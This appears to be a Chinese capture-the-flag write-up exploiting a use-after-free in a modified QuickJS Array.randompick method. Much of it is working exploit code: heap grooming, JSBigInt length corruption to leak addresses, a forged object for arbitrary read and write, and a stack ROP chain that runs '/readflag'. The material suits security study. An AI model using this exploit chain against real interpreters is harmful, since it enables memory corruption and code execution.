:)
漏洞 给array加了个方法,在array中任意选择一个obj返回,但没有增加refcount,可以uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static JSValue js_array_randompick (JSContext *ctx, JSValueConst this_val, int argc, JSValueConst *argv) { JSValue obj, ret; int64_t len, idx; JSValue *arrp; uint32_t count; obj = JS_ToObject (ctx, this_val); if (js_get_length64 (ctx, &len, obj)) goto exception; idx = rand () % len; if (js_get_fast_array (ctx, obj, &arrp, &count) && idx < count) ret = (JSValue) arrp[idx]; else { int present = JS_TryGetPropertyInt64 (ctx, obj, idx, &ret); if (present < 0 ) goto exception; if (!present) ret = JS_UNDEFINED; } JS_FreeValue (ctx, obj); return ret; exception: JS_FreeValue (ctx, obj); return JS_EXCEPTION; }
目标对象 js解释器的题可以通过这种👇方式进行任意读写。用ArrayBuffer->buf占位uaf obj,然后通过BigUint64Array等视图读写obj结构体,控制buf指向目标读写地址进行任意读写
但在这道题的情况下,需要先通过randompick方法free obj再分配给ArrayBuffer->buf,再分配的时候obj已经被清空了,无法leak地址
我最开始想通过普通的array来占位uaf obj,类似这样(用-1标记obj,7标记整数):
1 2 3 4 5 6 7 8 9 target = [{}, 0xdeadbeefn , {}]
但普通的array是用realloc申请空间的,不好占位……
后来通过discord的exp发现了这么一个结构体:
1 2 3 4 5 6 7 typedef struct JSBigInt { JSRefCountHeader header; uint32_t len; js_limb_t tab[]; } JSBigInt;
在一个数字后标记n表示一个大整数,大于4字节的整数用这样一个结构体👆表示,quickjs的大整数是不限长度的,JSBigInt->len表示大整数的长度(单位bit),改大len就能越界读了;且整个结构体没有指针,非常完美~
Exp 选择JSBigInt作为uaf obj,改大len越界读写泄漏地址,然后再uaf一次伪造obj进行任意读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 const pad1 = "a" , pad2 = "a" , pad3 = "a" , pad4 = "a" const map = [0xffffffffffffffffn ] map.randompick () map.randompick () map.randompick ()let buf = new ArrayBuffer (0x10 )let array = new Uint32Array (buf) array[0 ] = 2 array[1 ] = 0x100 heapbase = ((map[0 ] >> (35n * 0x40n )) & 0xffffffffffffffffn ) - 0xcf2n pie = ((map[0 ] >> (36n * 0x40n )) & 0xffffffffffffffffn ) - 0xf2660n console .log (heapbase.toString (16 ))console .log (pie.toString (16 ))for (let i = 0n ; i < 0x100n ; i++){ console .log (i, ((map[0 ]>>(i*0x40n )) & 0xffffffffffffffffn ).toString (16 )) }let tmp1 = [{}, {}, {}]let map1 = [{}] map1.randompick () tmp1[0 ] = null tmp1[1 ] = null let buf1 = new ArrayBuffer (0x48 )let array1 = new BigUint64Array (buf1) array1[0 ] = 0x1d0d0000000002n array1[3 ] = 0x7b00000000n array1[4 ] = heapbase + 0x20000n array1[7 ] = pie + 0xf4fc8n array1[8 ] = 0x100n let libcbase = map1[0 ][0 ] - 0x2a5b0n let stack = map1[0 ][34 ]console .log (libcbase.toString (16 ))console .log (stack.toString (16 )) array1[7 ] = heapbase + 0x20000n map1[0 ][0 ] = 0x616c66646165722fn map1[0 ][1 ] = 0x67n array1[7 ] = stack - 0x498n map1[0 ][0 ] = libcbase + 0x28882n map1[0 ][1 ] = libcbase + 0x119fdcn map1[0 ][2 ] = heapbase + 0x20000n map1[0 ][3 ] = libcbase + 0x5c110n
一点题外话 在discord找了个exp,有这么一段
1 2 3 4 5 6 7 8 9 10 11 arr = [0xfffffffffffffffffffn ] num = arr.randompick () num2 = arr.randompick () num3 = arr.randompick ()delete numdelete num3 heap_leak = (num2>>(5n *0x40n )) & 0xffffffffffffffffn libc_leak = (num2>>(7n *0x40n )) & 0xffffffffffffffffn - 0x210c50n console .log (heap_leak.toString (16 ))console .log (libc_leak.toString (16 ))
但理论上来说delete只对对象属性起效,这么写应该会false才对
后来才注意到这个声明没用let,后来查到这种隐式声明 相当于给全局对象增加一个属性,所以是有效的
1 2 num = 114514n console .log (globalThis)
1 2 $ qjs tmp.js { console: { log: [Function] }, performance: { now: [Function] }, scriptArgs: [ "tmp.js" ], print: [Function print], num: 114514n }
虽然跟这道题没什么关系,樂
做这道题的时候重新想起了被v8支配的恐惧,这种js解释器的题最恶心的就是代码但凡有一点小变化整个堆布局大动……
后来发现可以随便塞点变量调堆,别管为什么有用就行(
1 const pad1 = "a" , pad2 = "a" , pad3 = "a" , pad4 = "a"